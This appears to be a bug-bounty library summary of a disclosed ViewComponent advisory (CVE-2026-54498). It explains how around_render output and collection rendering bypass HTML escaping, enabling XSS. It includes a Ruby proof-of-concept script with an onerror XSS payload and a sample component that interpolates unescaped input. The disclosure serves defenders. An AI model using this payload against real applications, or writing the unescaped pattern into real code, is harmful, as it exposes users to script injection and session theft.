# ViewComponent: around_render HTML-Safety Bypass

ViewComponent's around_render return value skips the HTML-escaping applied to #call, so attacker-controlled strings render raw; Collection#render_in then marks joined output html_safe, enabling XSS.

- Payout: Research
- Severity: high
- Program: ViewComponent
- Found by: cyberlanc3r
- Disclosed: 2026-07-15
- CVE: CVE-2026-54498
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-97jw-64cj-jc58
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-97jw-64cj-jc58
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:ruby technique:chained technique:source-review vuln:misconfiguration vuln:xss

**Target:** Ruby gem view_component (ViewComponent::Base#around_render, Collection#render_in)
**Root cause:** Inline #call output passes through __vc_maybe_escape_html, but a string returned by around_render becomes the render result without that safety boundary. Collection#render_in joins per-item results and calls .html_safe on the whole, laundering raw unsafe output into a trusted SafeBuffer.
**Steps:**
1. Install view_component >= 4.0.0, < 4.12.0 and load lib via $LOAD_PATH.
2. Define a component whose call returns "SAFE" but around_render returns the payload `"<img src=x onerror=alert(1)>"`.
3. Render it with `render_in(view_context)`; observe output contains the raw payload and html_safe? is false.
4. Render the same component via `with_collection([PAYLOAD])`; observe joined output contains raw payload and html_safe? is true.
5. Render through a controller with `render_to_string`; observe raw payload in the response body.
**How found:** Code reading of the render pipeline: noticed two divergent output-safety behaviors between #call (escaped via __vc_maybe_escape_html) and around_render (raw), then traced Collection#render_in's `.join(...).html_safe` and hypothesized it amplifies raw output into trusted SafeBuffer; validated with a control-case PoC comparing escaped #call vs raw around_render.
**Exploitation:** A downstream app uses around_render for tracing, layout wrapping, feature-flag/error fallback, or instrumentation and interpolates request data, model attributes, CMS/markdown content into the returned string. That string is emitted unescaped into the browser-visible response; via Collection rendering it is additionally marked html_safe, suppressing later escaping. Script executes in the app origin, enabling session/token theft, authenticated actions, CSRF bypass, data exfiltration and phishing.
**Escalation:** Chains with preview routes/examples accepting URL params, unsafe markdown/CMS content rendered inside around_render, CSP-disabled preview routes, and admin-only pages containing affected components.
**Insight:** When a framework has a single escaping chokepoint (here __vc_maybe_escape_html around inline call), enumerate every other path that produces the render result — hooks like around_render, collection joins, controller render_to_string — and check whether each passes through that chokepoint; a `.html_safe` on a joined aggregate is a classic laundering point that turns per-item unsafe strings into trusted output.

## Proof of concept (copied exactly from the original report)

**Ruby PoC script demonstrating around_render XSS bypass**

```
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"
```

**Vulnerable around_render component pattern**

```
class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end
```

